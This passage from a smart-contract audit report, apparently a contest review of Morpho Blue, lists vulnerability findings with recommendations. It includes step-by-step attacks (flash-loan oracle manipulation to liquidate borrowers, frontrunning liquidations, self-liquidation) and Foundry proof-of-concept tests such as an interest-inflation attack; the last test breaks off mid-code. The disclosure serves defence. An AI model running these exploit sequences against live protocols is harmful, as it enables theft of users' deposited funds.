+1. Someone Creates a Market with Loan Token which has Rebasing Mechanism.
+
+2. Alice provides `L` amount of Loan Token as a Supply.
+
+3. Assuming, during the rebasing phase, the balance of the contract increased by `x` amount.
+
+4. But during withdrawal, Alice will only be able to withdraw tokens worth of `L` amount + the interest accured. The added `x` amount of tokens will be blocked forever in the contract.
+
+Here, second scenario is possible as well:
+
+1. Someone Creates a Market with Loan Token which has Rebasing Mechanism.
+
+2. Alice provides `L` amount of Loan Token as a Supply.
+
+3. Assuming, during the rebasing phase, the balance of the contract decreased by `x` amount.
+
+4. But during withdrawal, initial Lenders will be able to withdraw more than they should while lenders who withdraw last will be DoSed.
+
+**Recommendation**:
+
+To address this issue:
+
+1. `Acknowledge this Situation in Docs:` Make sure that Users are aware that Morpho Contract does not support Fees on Transfer Tokens.
+
+2. `Add a Function to Sync Accounting with Rebasing:` This function can be called whenever a Rebasing event occurs through a bot to make sure that Accounting always reflects the true token value.
+
+
+
+### Markets makers can explit volatile orcales
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L359-L359](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L359-L359)
+
+- Summary
+Market makers can create markets with volatile oracles, such as the current price in slot0 on UNI, and use them to liquidate borrowers even though they should be overcollateralized.
+
+- Proof of Concept
+This is possible because the [createMarket](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150-L161) function does not check if the oracle is malicious or "exploitable." This can be combined with high LLTVs to incentivize borrowers to borrow more. When the market starts to have some borrowers, its creator or other liquidators can flashloan the UNI oracle to change the price and make every borrower undercollateralized, allowing them to be liquidated. The market maker can then trade back to UNI to stabilize the price. All of this can be done safely in one transaction without any risks or losses.
+
+**Example:**
+
+| **Prerequisites** | **Values** |
+|-------------------|------------|
+| Borrowing asset | tokenA |
+| Collateral | tokenB |
+| LLTV | 80% |
+| Price A : B | 10 : 1 |
+
+1. Alice sends 1000 tokenA and borrows 50 tokenB (50%).
+2. Bob sees that there is a borrower in this market and quickly makes a transaction:
+ - Flash-loan as many tokens as possible.
+ - Sell tokenA and buy tokenB on UNI, artificially raising the price.
+ - Liquidate Alice.
+ - Trade back to return the price to the old values.
+ - Repay the flash-loan.
+
+In the current market, being a borrower is a death sentence, as you can borrow 10% of your collateral and still be liquidated at 100%, resulting in a loss of 90% on your assets.
+
+- Recommended Solution
+Implement a whitelist for oracles, similar to the whitelists for IRMs and LLTVs.
+
+
+
+### Lender can frontrun liquidate call to escape bad debt penalty _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+All lenders should be equally penalized whenever a bad debt occurs, but lenders monitoring the mempool can easily avoid the penalty.
+
+
+- Proof of Concept
+If liquidating a user causes a baddebt i.e. an outstanding borrowedAssets when collateralBalance has reached 0, the debt gets socialized among the lenders, so the Lenders will claim less than they should have
+
+A lender can frontrun a baddebt causing liquidate call, with a `withhdraw` call to escape the bad debt penalty. Infact, he can be the one making the liquidate call.
+
+The result is that, the lender will escape the bad debt penalty, while the remaining lenders pay more bad debt than they should have
+
+- Tools Used
+Manual Review
+
+
+
+### User will grief liquidator by frontrunning and repaying borrowShares-repaidShares+1 or collateral-seizedAssets+1 _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Links
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L384
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380
+
+- Impact
+If for example, a position becomes very unhealthy, and liquidator wants to liquidate by seizing the totalCollateral, the call will [revert](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L384) if the user frontruns and liquidates 1 wei of collateral.
+Also, if liquidator specifies the repaidShares as the total borrow shares of that position, call will [revert](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380) if the user frontruns and repays 1 wei of loan token
+
+- Proof of Concept
+Liquidators specify either the repaidShares or seizedAssets they want to liquidate.
+
+If the borrowedShares balance of the user is less than repaidShares, call will revert due to underflow, and if the seizedAssets is more than the collateral balance, call will also revert.
+
+User can frontrun a liquidator with either a `repay` or `liquidate` call with very tiny amounts, so that the liquidator's call fails
+
+If total borrowed shares of a user is `borrowShares`, and the collateral is `collateral`, a liquidator's call to liquidate `seizedAmount` amount of collateral will revert if he gets frontrun with a call to repay `collateral-seizedAssets+1` collTokens
+
+This will be due to an underflow in the `liquidate` function:
+```solidity
+
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ ...
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ ...
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+ ...
+ }
+```
+- Tools Used
+Manual Review
+
+- Recommendation
+The repaidShares should be min(borrowedShares, repaidShares), or min(collateralBalance, seizedAssets)
+
+
+
+### Replay attack in case of Hard fork _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Lines of code
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L78
+- Impact
+At construction, the Signatures contract computes the domain separator using the network’s chainID, which is fixed at the time of deployment. In the event of a post-deployment chain fork, the chainID cannot be updated, and the signatures may be replayed across both versions of the chain.
+- Proof of concept
+The contract uses `block.chainId` to compute hash domain `DOMAIN_SEPARATOR` in the construction. And it will never be updated.
+```solidity=
+constructor(address newOwner) {
+ require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+}
+```
+```solidity=
+function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ ...
+}
+```
+- Tool used
+
+Manual Review
+
+- Recommended Mitigation Steps
+To mitigate this risk, if a change in the chainID is detected, the domain separator can be cached and regenerated. Alternatively, instead of regenerating the entire domain separator, the chainID can be included in the schema of the signature passed to the order hash.
+
+
+
+### This function is missing the `0` address check for the `newOwner` parameter. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L95)
+
+**Summary:**
+
+The function does not perform a `0` address check on the incoming `newOwner` parameter.
+
+**Vulnerability Details:**
+
+1. The purpose of the `setOwner()` function is to set the incoming `newOwner` to the `owner` (provided that there is an `owner` for the call to work), and in the process there is a conditional check to make sure that the new owner's address, `newOwner`, is not the same as the current owner's address, `owner`).
+2. However, if `owner` has malicious behavior, it will cause irreparable damage. Since there is no `0` address check on `newOwner`, `owner` can set `newOwner` to `0` address.
+
+**Impact**
+
+If `owner` enters the `newOwner` parameter as a `0` address, then `owner` will be a `0` address, rendering the entire contract unusable.
+
+**Recommendations**
+
+Add a new condition check:
+
+```solidity
+require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+
+
+### Users can take advantage of low liquidity markets to inflate the interest rate
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+- [Morpho.sol#L471-L476](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471-L476)
+- [AdaptiveCurveIrm.sol#L117-L120](https://github.com/morpho-org/morpho-blue-irm/blob/c2b1732fc332d20a001ca505aea76bd475e95ef1/src/AdaptiveCurveIrm.sol#L117-L120)
+- [Morpho.sol#L477](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L477)
+- [Morpho.sol#L180-L181](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L180-L181)
+- [SharesMathLib.sol#L15-L21](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L15-L21)
+
+**Description:**
+
+Morpho Blue is meant to work with stateful Interest Rate Models (IRM) - whenever `_accrueInterest()` is called, it calls `borrowRate()` of the IRM contract:
+
+```solidity
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+```
+
+This will adjust the market's interest rate based on the current state of the market. For example, `AdaptiveCurveIrm.sol` adjusts the interest rate based on the market's current utilization rate:
+
+```solidity
+function _borrowRate(Id id, Market memory market) private view returns (uint256, int256) {
+ // Safe "unchecked" cast because the utilization is smaller than 1 (scaled by WAD).
+ int256 utilization =
+ int256(market.totalSupplyAssets > 0 ? market.totalBorrowAssets.wDivDown(market.totalSupplyAssets) : 0);
+```
+
+However, this stateful implementation will always call `borrowRate()` and adjust the interest rate, even when it should not.
+
+For instance, in `AdaptiveCurveIrm.sol`, an attacker can manipulate the market's utilization rate as such:
+
+- Create market with a legitimate `loanToken`, `collateralToken`, `oracle` and the IRM as `AdaptiveCurveIrm.sol`.
+- Call `supply()` to supply 1 wei of `loanToken` to the market.
+- Call `supplyCollateral()` to give himself some collateral.
+- Call `borrow()` to borrow the 1 wei of `loanToken`.
+- Now, the market's utilization rate is 100%.
+- Afterwards, if no one supplies any `loanToken` to the market for a long period of time, `AdaptiveCurveIrm.sol` will aggressively increase the market's interest rate.
+
+This is problematic as Morpho Blue's interest compounds based on $e^x$:
+
+```solidity
+uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+```
+
+As such, when `borrowRate` (the interest rate) increases, `interest` will grow at an exponential rate, which could cause the market's `totalSupplyAssets` and `totalBorrowAssets` to become extremely huge.
+
+This creates a few issues:
+
+**1. The market will have a huge amount of un-clearable bad debt:**
+
+Should a large amount of interest accrue, `totalBorrowAssets` will be extremely large, even though `totalBorrowShares` is only `1e6` shares. Half of `totalBorrowAssets` would have actually accrued to the other `1e6` [virtual shares](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L15-L21).
+
+As such, after liquidating the attacker's `1e6` shares, half of `totalBorrowAssets` will still remain in the market as un-clearable bad debt.
+
+**2. The market will permanently have a high interest rate:**
+
+As mentioned above, `AdaptiveCurveIrm.sol` aggressively increased the market's interest rate while there was only 1 wei supplied and borrowed in the market, causing utilization to be 100%.
+
+If other lenders decide to supply `loanToken` to the market, borrowers would still be discouraged from borrowing for an extended period of time as `AdaptiveCurveIrm.sol` would have to adjust the market's interest rate back down.
+
+**3. Users who call `supply()` with a small amount of assets might lose funds:**
+
+If `totalSupplyAssets` is sufficiently large compared to `totalSupplyShares`, the market's shares to assets ratio will be huge. This will cause the following the share calculation in `supply()` to round down to 0:
+
+```solidity
+if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+```
+
+Should this occur, the user will receive 0 shares when depositing assets, resulting in a loss of funds.
+
+The following PoC demonstrates how the market's interest rate can be inflated, as described above. Note that this PoC has to be placed in the `morpho-blue-irm` repository.
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "lib/forge-std/src/Test.sol";
+import "src/AdaptiveCurveIrm.sol";
+import {BaseTest} from "lib/morpho-blue/test/forge/BaseTest.sol";
+
+contract CreamyInflationAttack is BaseTest {
+ using MarketParamsLib for MarketParams;
+
+ int256 constant CURVE_STEEPNESS = 4 ether;
+ int256 constant ADJUSTMENT_SPEED = int256(20 ether) / 365 days;
+ int256 constant TARGET_UTILIZATION = 0.9 ether; // 90%
+ int256 constant INITIAL_RATE_AT_TARGET = int256(0.1 ether) / 365 days; // 10% APR
+
+ function setUp() public override {
+ super.setUp();
+
+ // Deploy and enable AdaptiveCurveIrm
+ AdaptiveCurveIrm irm = new AdaptiveCurveIrm(
+ address(morpho), CURVE_STEEPNESS ,ADJUSTMENT_SPEED,TARGET_UTILIZATION, INITIAL_RATE_AT_TARGET
+ );
+ vm.prank(OWNER);
+ morpho.enableIrm(address(irm));
+
+ // Deploy market with AdaptiveCurveIrm
+ marketParams = MarketParams({
+ loanToken: address(loanToken), // Pretend this is USDC
+ collateralToken: address(collateralToken), // Pretend this is USDT
+ oracle: address(oracle),
+ irm: address(irm),
+ lltv: DEFAULT_TEST_LLTV
+ });
+ id = marketParams.id();
+ morpho.createMarket(marketParams);
+ }
+
+ function testInflateInterestRateWhenLowLiquidity() public {
+ // Supply and borrow 1 wei
+ _supply(1);
+ collateralToken.setBalance(address(this), 2);
+ morpho.supplyCollateral(marketParams, 2, address(this), "");
+ morpho.borrow(marketParams, 1, 0, address(this), address(this));
+
+ // Accrue interest for 150 days
+ for (uint i = 0; i < 150; i++) {
+ skip(1 days);
+ morpho.accrueInterest(marketParams);
+ }
+
+ // Liquidating only divides assets by 2, the other half accrues to virtual shares
+ loanToken.setBalance(address(this), 2);
+ morpho.liquidate(marketParams, address(this), 2, 0, "");
+
+ // Shares to assets ratio is now insanely high
+ console2.log("supplyAssets: %d, supplyShares: %d", morpho.market(id).totalSupplyAssets, morpho.market(id).totalSupplyShares);
+ console2.log("borrowAssets: %d, borrowShares: %d", morpho.market(id).totalBorrowAssets, morpho.market(id).totalBorrowShares);
+
+ // Supply 1M USDC, but gets no shares in return
+ loanToken.setBalance(address(this), 1_000_000e6);
+ morpho.supply(marketParams, 1_000_000e6, 0, SUPPLIER, "");
+ assertEq(morpho.position(id, SUPPLIER).supplyShares, 0);
+ }
+}
+```
+
+**Recommendation:**
+
+In `_accrueInterest()`, consider checking that `totalSupplyAssets` is sufficiently large for `IIrm.borrowRate()` to be called.
+
+This prevents the IRM from adjusting the interest rate when the utilization rate is "falsely" high (e.g. only 1 wei supplied and borrowed, resulting in 100% utilization rate).
+
+
+
+### Borrower Can Abuse Self-Liquidation To Get His Collateral (on an underwater position) On A Discount _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The Morpho liquidation process is a simple one , as soon as a borrow position becomes unhealthy it is subject to liquidation and anyone can liquidate a position , the liquidator would get the collateral on a discount (liquidator has to provide the loan token)
+
+The logic to liquidate ->
+
+```solidity
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+```
+
+
+Assume the following case ->
+
+1.) Alice has a borrow position which is now unhealthy/subject to liquidation
+
+2.) Anyone can now call liquidate and get the collateral in alice's position for a discount
+
+3.) Alice decides to liquidate the position herself , the repaid assets are calculated here
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L370
+
+and alice provides her entire collateral as the `seizedAssets` parameter
+
+4.) The entire collateral is sent to Alice at L400 whereas Alice only paid a discounted amount of assets at L407
+
+
+Recommendation:
+
+Ensure that self liquidations are not allowed/profitable
+
+
+
+
+### Users can create market with vulnerable oracle contract address, stealing collateral from the protocol with unfair liquidation
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The function `Morpho::createMarket` lets users to create markets for borrowing and accept collateral with its parameters but along with these addresses of `loanToken` `collateralToken` `irm` and `lltv` value, user also can set the address of `oracle` with any proper sanitization.
+The price from the oracle is used decide the `collateralPrice` using `uint256 collateralPrice = IOracle(marketParams.oracle).price();`
+A malicious user can used a contract which can act like an oracle but maliciously can manipulate the price-feed of that oracle. In this scenario, A malicious user will gain unfair advantage leading to steal of user funds who interact with this market.
+
+```js
+ /* MARKET CREATION */
+
+ /// @inheritdoc IMorphoBase
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+
+- Proof-of-concept
+The attack scenario is described below:
+
+1. An maliciously user creates an market with parameters such as loan token and collateral token and oracle address.
+2. The oracle address is used to calculate the collateral price of loan amount.
+3. The oracle used by the malicious user is centralized and price can be manipulated as he want.
+4. Borrower interact with the market and deposit the collateral from a loan.
+5. The malicious market creator manipulate the oracle price and makes the borrower position liquidable which actually not.
+6. Malicious user liquidate the borrower amount, stealing all the collateral of the borrower.
+
+- Recommendation
+To mitigate this issue, we recommend:
+
+1. Use specific set of oracles addresses that can be trusted rather then being chosen by users.
+2. Market should be whitelisted on chain by owner/admin after proper verification.
+
+#- Link: https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150C1-L161C6
+
+
+
+### This function does not perform a `0` address check on the `newFeeRecipient` parameter. This may lead to malicious behavior. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+**Summary:**
+
+This function does not perform a `0` address check on the `newFeeRecipient` parameter. This may lead to malicious behavior.
+
+**Vulnerability Details:**
+
+1. The `setFeeRecipient()` function serves to set the fee recipient address. However, because the function does not perform a `0` address check on the `newFeeRecipient` parameter.
+2. It is possible to set the fee recipient address to a `0` address if the `owner` has malicious behavior. Or the `newFeeRecipient` could have been set to a `0` address by mistake.
+
+**Impact**
+
+If the `owner` operates incorrectly (malicious behavior) by entering the `newFeeRecipient` parameter as a `0` address, and the expense recipient address is incorrectly set to a `0` address, it will result in the expense being forwarded to a `0` address (in a black hole).
+
+
+**Recommendations**
+
+Add a 0-address check to prevent malicious owners from performing malicious operations, or misuse:
+
+```solidity
+require(newFeeRecipient != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+
+### Self-Liquidation Yields Lower Penalties and Exploits Known Bugs
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Sumary:
+
+This report covers the liquidate() function and the ability of a user to liquidate themselves. First, we will explore how a user could be less penalised if they liquidate themselves versus being liquidated by a third party. Then, we will examine how these actions can be utilised to exploit an acknowledged (but unresolved) bug found by OpenZeppelin in their recent audit (H-01 BAD DEBT CAN BE MALICIOUSLY SKIPPED). This situation increases the likelihood of the bug being exploited (being the reason why this issue was acknowledged but not resolved).
+
+Relevant links:
+
+ [Audit pdf](https://github.com/morpho-org/morpho-blue/blob/main/audits/2023-10-13-morpho-blue-and-speed-jump-irm-open-zeppelin.pdf)
+
+[Liquidate fn ](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344)
+
+Vulnerability Details:
+
+In liquidate() function theres no check for requiring that msg.sender != borrower.
+
+
+```
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+```
+
+This shouldn't be a problem if theres no incentive for doing it, so a extense set of test has been done considering the deferents parameters that are variable like lltv, if the liquidation generates bad debt, if not, oracle price, oracle price decrease in x%, amountBorrowed and amountOfCollateral. I have found that in certains conditions the user loose 2% less than it should if liquidated by anothe one. This tests below compare in constants conditions and with exact price deviations the amount that the borrower being liquidated is left if it liquidates itself and if not:
+
+
+```
+ function testLiquidateSeizedInputNoBadDebtRealized(LiquidateTestParams memory params, uint256 amountSeized)
+ public
+ {
+ // (params.amountCollateral, params.amountBorrowed, params.priceCollateral) =
+ // _boundUnhealthyPosition(params.amountCollateral, params.amountBorrowed, params.priceCollateral);
+
+ // constant values for both tests
+ params.amountCollateral = 130e6;
+ params.amountBorrowed = 53e6;
+ params.priceCollateral = 1e36; // price of collaterall respect to loan token -> 1:1
+ params.lltv = 0.8 ether; // normal one 0.8
+ oracle.setPrice(params.priceCollateral);
+ _setLltv(_boundTestLltv(params.lltv)); // to create market....
+
+ vm.assume(params.amountCollateral > 1);
+
+ params.amountSupplied =
+ bound(params.amountSupplied, params.amountBorrowed, params.amountBorrowed + MAX_TEST_AMOUNT);
+ _supply(params.amountSupplied);
+
+ collateralToken.setBalance(BORROWER, params.amountCollateral);
+
+ // oracle.setPrice(type(uint256).max / params.amountCollateral);
+
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+
+ console.log("amountSeized", amountSeized);
+
+ // all the collaterall
+ uint256 totalValueBefore =
+ collateralToken.balanceOf(BORROWER) * params.priceCollateral + loanToken.balanceOf(BORROWER) ;
+ console.log("Borrower collaterall sould be 0:", collateralToken.balanceOf(BORROWER));
+
+ console.log("Borrower loanToken balance should be > 0:", loanToken.balanceOf(BORROWER));
+ console.log("Overall value in token B params (BEFORE LIQUIDATION)", totalValueBefore);
+
+ oracle.setPrice((params.priceCollateral * 50) / 100);
+
+ uint256 borrowShares = morpho.borrowShares(id, BORROWER);
+ uint256 liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+ uint256 maxSeized = params.amountBorrowed.wMulDown(liquidationIncentiveFactor).mulDivDown(
+ ORACLE_PRICE_SCALE, params.priceCollateral
+ );
+ vm.assume(maxSeized != 0);
+
+ amountSeized = params.amountCollateral / 2;
+
+ // amountSeized = bound(amountSeized, 1, Math.min(maxSeized, params.amountCollateral - 1));
+
+ uint256 expectedRepaid =
+ amountSeized.mulDivUp(params.priceCollateral, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ uint256 expectedRepaidShares =
+ expectedRepaid.toSharesDown(morpho.totalBorrowAssets(id), morpho.totalBorrowShares(id));
+
+ loanToken.setBalance(LIQUIDATOR, params.amountBorrowed);
+
+
+ vm.prank(LIQUIDATOR);
+
+ // remove emit log test
+ // vm.expectEmit(true, true, true, true, address(morpho));
+ // emit EventsLib.Liquidate(id, LIQUIDATOR, BORROWER, expectedRepaid, expectedRepaidShares, amountSeized, 0);
+
+ (uint256 returnSeized, uint256 returnRepaid) = morpho.liquidate(marketParams, BORROWER, amountSeized, 0, hex"");
+
+
+ console.log("Amount repaid (balace of loan tokne send back to contract to repay)", returnRepaid);
+
+ console.log("Borrower collaterall token", collateralToken.balanceOf(BORROWER));
+ console.log("Borrower loanToken balance ", loanToken.balanceOf(BORROWER));
+ console.log("Borrower colleteral inteernal accounting:", morpho.collateral(id, BORROWER));
+ uint256 totalValueAfter =
+ ((collateralToken.balanceOf(BORROWER) + morpho.collateral(id, BORROWER)) * oracle.price() / ORACLE_PRICE_SCALE) + loanToken.balanceOf(BORROWER);
+
+ console.log("Overall value in token B params (AFTER LIQUIDATION)", totalValueAfter);
+
+ // failing asserts to show all the logs.
+ assertEq(returnSeized, amountSeized, "returned seized amount");
+ assertEq(returnRepaid, expectedRepaid, "returned asset amount");
+ }
+
+Test 2 (self liquidated)
+
+ function testLiquidateSelfLiquidationNoBadDebtRealizedScenario1(
+ LiquidateTestParams memory params,
+ uint256 amountSeized
+ ) public {
+ // Setup parameters and bounds
+ // _setLltv(_boundTestLltv(params.lltv));
+ // (params.amountCollateral, params.amountBorrowed, params.priceCollateral) =
+ // _boundUnhealthyPosition(params.amountCollateral, params.amountBorrowed, params.priceCollateral);
+
+ params.amountCollateral = 130e6;
+ // 73 with 30% dicout unhealthy...
+ params.amountBorrowed = 53e6;
+ params.priceCollateral = 1e36; // price of collaterall respect to loan token -> 1:1
+ params.lltv = 0.8 ether; // normal one 0.8
+ oracle.setPrice(params.priceCollateral);
+
+ vm.assume(params.amountCollateral > 1);
+
+ params.amountSupplied =
+ bound(params.amountSupplied, params.amountBorrowed, params.amountBorrowed + MAX_TEST_AMOUNT);
+ _supply(params.amountSupplied);
+
+ // Set balances for the borrower who will also be the liquidator
+ collateralToken.setBalance(BORROWER, params.amountCollateral); // ! "we have collaterall arleady"
+
+
+ console.log("balance of loan token should be 0 before borrow", loanToken.balanceOf(BORROWER));
+ console.log("colaterall price before change", params.priceCollateral);
+
+ // Set a high price to ensure the position is unhealthy
+ // now the retio now 1:0.8 1 collateral 0.8 token price.
+ // price to 1 collaterall is 0.5 loan token
+ // borrow at normal price
+ // oracle.setPrice(type(uint256).max / params.amountCollateral);
+
+ // Borrower supplies collateral and borrows
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER); // this give us loan token
+ vm.stopPrank();
+
+ console.log(
+ "collaterall balance of token in user should be 0 or low (after borrow)",
+ collateralToken.balanceOf(BORROWER)
+ );
+ console.log(
+ "balance of loan token should be > 0 before borrow (total of our loan)", loanToken.balanceOf(BORROWER)
+ );
+
+ // params.priceCollateral = 0.5e18; // if colaterall price lower means that with
+ //oracle.setPrice(7e53); // 30% discount LTV > LLTV
+ // ->oracle.setPrice(params.priceCollateral);
+ console.log("colaterall price after change", oracle.price());
+
+ // BALANCE BEFORE Decrease:
+ // ! console.log("Overall value in token B params", collateralToken.balanceOf(BORROWER) *
+ // params.priceCollateral);
+
+ // Calculate liquidation parameters
+ uint256 borrowShares = morpho.borrowShares(id, BORROWER);
+ uint256 liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+
+ console.log("Liquidation incentive factor:", liquidationIncentiveFactor);
+ uint256 maxSeized = params.amountBorrowed.wMulDown(liquidationIncentiveFactor).mulDivDown(
+ ORACLE_PRICE_SCALE, params.priceCollateral
+ );
+ vm.assume(maxSeized != 0);
+
+ // 50% collaterall seized
+ amountSeized = params.amountCollateral / 2;
+
